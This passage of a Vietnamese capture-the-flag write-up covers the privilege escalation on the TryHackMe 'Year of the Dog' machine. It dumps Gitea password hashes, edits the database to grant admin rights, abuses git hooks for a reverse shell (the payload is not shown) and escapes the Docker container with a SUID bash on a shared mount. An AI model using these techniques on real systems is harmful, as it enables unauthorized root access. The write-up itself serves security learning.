drwxr-xr-x 2 dylan dylan 4096 Sep 5 2020 avatars
drwxr-xr-x 2 dylan dylan 4096 Sep 5 2020 conf
-rw-r--r-- 1 dylan dylan 1212416 Aug 28 04:34 gitea.db
drwxr-xr-x 4 dylan dylan 4096 Sep 5 2020 indexers
drwxr-xr-x 2 dylan dylan 4096 Sep 6 2020 log
drwxr-xr-x 6 dylan dylan 4096 Sep 5 2020 queues
drwx------ 7 dylan dylan 4096 Aug 28 07:00 sessions
dylan@year-of-the-dog:/gitea/gitea$ file gitea.db
gitea.db: SQLite 3.x database, last written using SQLite version 3032002
dylan@year-of-the-dog:/gitea/gitea$ sqlite3
Command 'sqlite3' not found, but can be installed with:
apt install sqlite3
Please ask your administrator.Tiếp tục, chúng ta thấy một file database gitea.db của sqlite3. Nó chắc chắn chứa credentials của user trong Gitea. Vì target không cài sqlite3, ta copy file này về máy mình để phân tích.
┌──(kali㉿kali)-[~]
└─$ scp dylan@dog.thm:/gitea/gitea/gitea.db gitea.db
dylan@dog.thm's password:
gitea.db
┌──(kali㉿kali)-[~]
└─$ sqlite3 gitea.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
access oauth2_session
access_token org_user
action project
attachment project_board
collaboration project_issue
comment protected_branch
commit_status public_key
deleted_branch pull_request
deploy_key reaction
email_address release
email_hash repo_indexer_status
external_login_user repo_redirect
follow repo_topic
gpg_key repo_unit
gpg_key_import repository
hook_task review
issue star
issue_assignees stopwatch
issue_dependency task
issue_label team
issue_user team_repo
issue_watch team_unit
label team_user
language_stat topic
lfs_lock tracked_time
lfs_meta_object two_factor
login_source u2f_registration
milestone upload
mirror user
notice user_open_id
notification version
oauth2_application watch
oauth2_authorization_code webhook
oauth2_grantsqlite> SELECT name FROM pragma_table_info('user');
id
lower_name
name
full_name
email
keep_email_private
email_notifications_preference
passwd
passwd_hash_algo
must_change_password
login_type
login_source
login_name
type
location
website
rands
salt
language
description
created_unix
updated_unix
last_login_unix
last_repo_visibility
max_repo_creation
is_active
is_admin
is_restricted
...
sqlite> select id,name,email,passwd,passwd_hash_algo,salt,is_admin from user;
1|Dylan|dylan@yearofthedog.thm|f2fd45caa2f5eae17cb5faa06eb57c4ad05532550fe37ae99e2245429757af09350be12abba616de4e8f0e37d223bd327261|argon2|vkA9FTpZ72|1Trong đó có password hash của dylan, kèm theo hash algorithm, salt và giá trị is_admin. Điều này cho thấy dylan có quyền admin trong Gitea. Tuy nhiên crack password hash này sẽ tốn rất nhiều thời gian, nên ta lưu lại để tham khảo sau.
Có lẽ bây giờ ta cần kiểm tra xem gitea chạy trực tiếp trên host hay trong container.
dylan@year-of-the-dog:/gitea$ ps aux | grep git
root 1185 0.0 0.0 1080 36 ? S 04:34 0:00 s6-supervise gitea
dylan 1187 0.3 22.1 1067516 222736 ? Ssl 04:34 0:42 /app/gitea/gitea web
dylan 7976 0.0 0.1 14436 1084 pts/1 S+ 07:53 0:00 grep --color=auto gitdylan@year-of-the-dog:/gitea$ systemd-cgls
Control group /:
-.slice
├─init.scope
│ └─1 /sbin/init
└─system.slice
├─apache2.service
...
├─containerd.service
│ ├─ 567 /usr/bin/containerd
│ ├─1093 /usr/bin/containerd-shim-runc-v2 -namespace moby -id 42040a8f97fc38af61598b5a6e3f0bb08830bcb14b5b68a211201979658e4073 -address /run/containerd/con
│ ├─1136 /bin/s6-svscan /etc/s6
│ ├─1185 s6-supervise gitea
│ ├─1186 s6-supervise openssh
│ ├─1187 /app/gitea/gitea web
...
├─docker.service
│ ├─ 729 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
│ └─1081 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 3000 -container-ip 172.17.0.2 -container-port 3000
...Dựa trên việc tiến trình gitea chạy dưới service containerd, và port 3000 được forward bởi service docker, ta có thể kết luận rằng gitea đang chạy trong docker container. Như vậy, các thư mục gitea này phải được mount vào container (như vậy thì trong container mới có gitea để serve tại port 3000) và thuộc về user đầu tiên được tạo trong đó với UID và GID là 1000. Tuy nhiên, do mapping UID/GID của Linux, UID và GID 1000 này được ánh xạ sang user dylan, mà ta đã thấy trong /etc/passwd.


RCE
Có lẽ đáng để thử tìm cách thiết lập reverse shell dưới user đang chạy dịch vụ gitea bên trong container. Ta bắt đầu tìm các lỗ hổng liên quan đến gitea.

Có một exploit RCE cho Gitea phiên bản 1.12.5, nhưng yêu cầu authentication. Tuy vậy, ta vẫn nên xem xét.


Hóa ra đây là một feature chứ không phải vulnerability, tồn tại từ phiên bản 1.1.0 đến 1.12.5, và bị gỡ bỏ từ 1.13.0.

Trước đó ta đã xác định phiên bản là 1.13.0 nhưng vẫn đang trong giai đoạn phát triển, có thể feature này vẫn còn tồn tại.

Vì feature này yêu cầu authentication và quyền tạo git hooks, nên ta có thể đăng ký một user mới rồi chỉnh sửa database gitea.db để tự cấp quyền admin, sau đó bật tùy chọn May Create Git Hooks.
Chúng ta đăng ký một tài khoản mới với thông tin demo:password.

Sau đó, chỉnh sửa file gitea.db và upload lại vào máy target.
┌──(kali㉿kali)-[~]
└─$ scp dylan@dog.thm:/gitea/gitea/gitea.db gitea.db
dylan@dog.thm's password:
gitea.db 100% 1184KB 184.0KB/s 00:06
┌──(kali㉿kali)-[~]
└─$ sqlite3 gitea.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> select id,name,email,passwd,passwd_hash_algo,salt,is_admin from user;
1|Dylan|dylan@yearofthedog.thm|f2fd45caa2f5eae17cb5faa06eb57c4ad05532550fe37ae99e2245429757af09350be12abba616de4e8f0e37d223bd327261|argon2|vkA9FTpZ72|1
2|demo|demo@gmail.com|0cfc3099019acc60abd166dd01135dfdb9c445df222628f79b9afb3163980e1780389c864fd804d3197778c195e950ebb508|argon2|vy5gV3zyAz|0
sqlite> update user set is_admin=1 where name="demo";
sqlite> select id,name,is_admin from user where name="demo";
2|demo|1
sqlite> .quit
┌──(kali㉿kali)-[~]
└─$ scp gitea.db dylan@dog.thm:/gitea/gitea/gitea.db
dylan@dog.thm's password:
gitea.db
Giờ đây ta đã có quyền admin và có thể bật quyền tạo git hooks.


Tiếp theo, ta tạo một repository mới rồi chèn payload reverse shell.


Payload này sẽ được thực thi khi ta push code vào repository.
dylan@year-of-the-dog:~$ mkdir demo
dylan@year-of-the-dog:~$ cd demo/
dylan@year-of-the-dog:~/demo$ touch README.md
dylan@year-of-the-dog:~/demo$ git init
Initialized empty Git repository in /home/dylan/demo/.git/
dylan@year-of-the-dog:~/demo$ git add README.md
dylan@year-of-the-dog:~/demo$ git commit -m "Initial commit"
[master (root-commit) 3222818] Initial commit
1 file changed, 0 insertions(+), 0 deletions(-)
create mode 100644 README.md
dylan@year-of-the-dog:~/demo$ git remote add origin http://localhost:3000/demo/test.git
dylan@year-of-the-dog:~/demo$ git push -u origin master
Username for 'http://localhost:3000': demo
Password for 'http://demo@localhost:3000': passwordShell as git (Containerized)

Sudo Permissions
/ $ sudo -l
User git may run the following commands on 42040a8f97fc:
(ALL) NOPASSWD: ALLShell as root (Containerized)
Bởi vì user git có thể dùng sudo cho bất kỳ lệnh nào mà không cần password, ta lập tức có thể chuyển thành root trong container.
/ $ sudo su
id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)Sau đó, ta kiểm tra xem thư mục gitea được mount ở đâu bằng command mount:
mount | grep rw
...
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
tmpfs on /sys/fs/cgroup type tmpfs (rw,nosuid,nodev,noexec,relatime,mode=755)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)
/dev/xvda1 on /data type ext4 (rw,relatime,errors=remount-ro,data=ordered)
/dev/xvda1 on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro,data=ordered)
/dev/xvda1 on /etc/hostname type ext4 (rw,relatime,errors=remount-ro,data=ordered)
/dev/xvda1 on /etc/hosts type ext4 (rw,relatime,errors=remount-ro,data=ordered)
tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /proc/timer_list type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /proc/sched_debug type tmpfs (rw,nosuid,size=65536k,mode=755)Thư mục đáng chú ý nhất là /data:
ls -la /data -n
total 20
drwxr-xr-x 5 0 0 4096 Sep 5 2020 .
drwxr-xr-x 1 0 0 4096 Sep 5 2020 ..
drwxr-xr-x 5 1000 1000 4096 Sep 5 2020 git
drwxr-xr-x 9 1000 1000 4096 Aug 28 07:16 gitea
drwx------ 2 0 0 4096 Sep 5 2020 sshBây giờ chúng ta đã là root bên trong container, bất kỳ file nào được tạo ra cũng sẽ có UID và GID bằng 0. Và một lần nữa, do cơ chế UID/GID mapping, các giá trị này cũng được ánh xạ sang user root trên host. Vì vậy, chúng ta có thể copy file /bin/bash vào thư mục gitea, sau đó set SUID permission bit để user dylan trên host có thể chạy binary này, từ đó có được shell với quyền root của host.
cd /data/gitea
which bash
/bin/bash
cp /bin/bash root_bash
chmod +s root_bash
ls -la
total 1944
drwxr-xr-x 9 git git 4096 Aug 28 07:20 .
drwxr-xr-x 5 root root 4096 Sep 5 2020 ..
drwxr-xr-x 2 git git 4096 Sep 5 2020 attachments
drwxr-xr-x 2 git git 4096 Sep 5 2020 avatars
drwxr-xr-x 2 git git 4096 Sep 5 2020 conf
-rw-r--r-- 1 git git 1212416 Aug 28 07:16 gitea.db
drwxr-xr-x 4 git git 4096 Sep 5 2020 indexers
drwxr-xr-x 2 git git 4096 Sep 6 2020 log
drwxr-xr-x 6 git git 4096 Sep 5 2020 queues
-rwsr-sr-x 1 root root 735488 Aug 28 07:20 root_bash
drwx------ 7 git git 4096 Aug 28 06:00 sessions
Nhưng có vấn đề, binary bash không chạy được trên host.
dylan@year-of-the-dog:/gitea/gitea$ ./root_bash -p
-bash: ./root_bash: No such file or directory
dylan@year-of-the-dog:/gitea/gitea$ file root_bash
root_bash: setuid, setgid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-x86_64.so.1, stripped
dylan@year-of-the-dog:/gitea/gitea$ file /bin/bash
/bin/bash: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=12f73d7a8e226c663034529c8dd20efec22dde54, strippedĐể khắc phục, ta copy /bin/bash từ host vào thư mục gitea. Sau đó, trong container đổi owner thành root và set SUID bit.

chown root:root root_bash_fix
chmod +s root_bash_fix
ls -la
total 3032
drwxr-xr-x 9 git git 4096 Aug 28 07:28 .
drwxr-xr-x 5 root root 4096 Sep 5 2020 ..
drwxr-xr-x 2 git git 4096 Sep 5 2020 attachments
drwxr-xr-x 2 git git 4096 Sep 5 2020 avatars
drwxr-xr-x 2 git git 4096 Sep 5 2020 conf
-rw-r--r-- 1 git git 1212416 Aug 28 07:28 gitea.db
-rw-r--r-- 1 git git 0 Aug 28 07:27 helo
drwxr-xr-x 4 git git 4096 Sep 5 2020 indexers
drwxr-xr-x 2 git git 4096 Sep 6 2020 log
drwxr-xr-x 6 git git 4096 Sep 5 2020 queues
-rwsr-sr-x 1 root root 735488 Aug 28 07:20 root_bash
-rwsr-sr-x 1 root root 1113504 Aug 28 07:26 root_bash_fix
drwx------ 7 git git 4096 Aug 28 06:00 sessionsCách này cho phép giữ nguyên binary bash tương thích với host, nhưng lại được thực thi với quyền root.

Shell as root
dylan@year-of-the-dog:/gitea/gitea$ ./root_bash_fix -p
root_bash_fix-4.4# id
uid=1000(dylan) gid=1000(dylan) euid=0(root) egid=0(root) groups=0(root),1000(dylan)Kết quả cuối cùng, chúng ta thành công chiếm quyền root trên target machine!
root.txt
root_bash_fix-4.4# cd /root
root_bash_fix-4.4# ls -la
total 28
drwx------ 4 root root 4096 Sep 6 2020 .drwxr-xr-x 23 root root 4096 May 31 2021 ..lrwxrwxrwx 1 root root 9 Sep 3 2020 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
drwx------ 2 root root 4096 Sep 3 2020 .cache
drwx------ 3 root root 4096 Sep 3 2020 .gnupg
lrwxrwxrwx 1 root root 9 Sep 6 2020 .mysql_history -> /dev/null
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-r-------- 1 root root 38 Sep 5 2020 root.txt
root_bash_fix-4.4# cat root.txt
THM{MzlhNGY5YWM0ZTU5ZGQ0OGI0YTc0OWRh}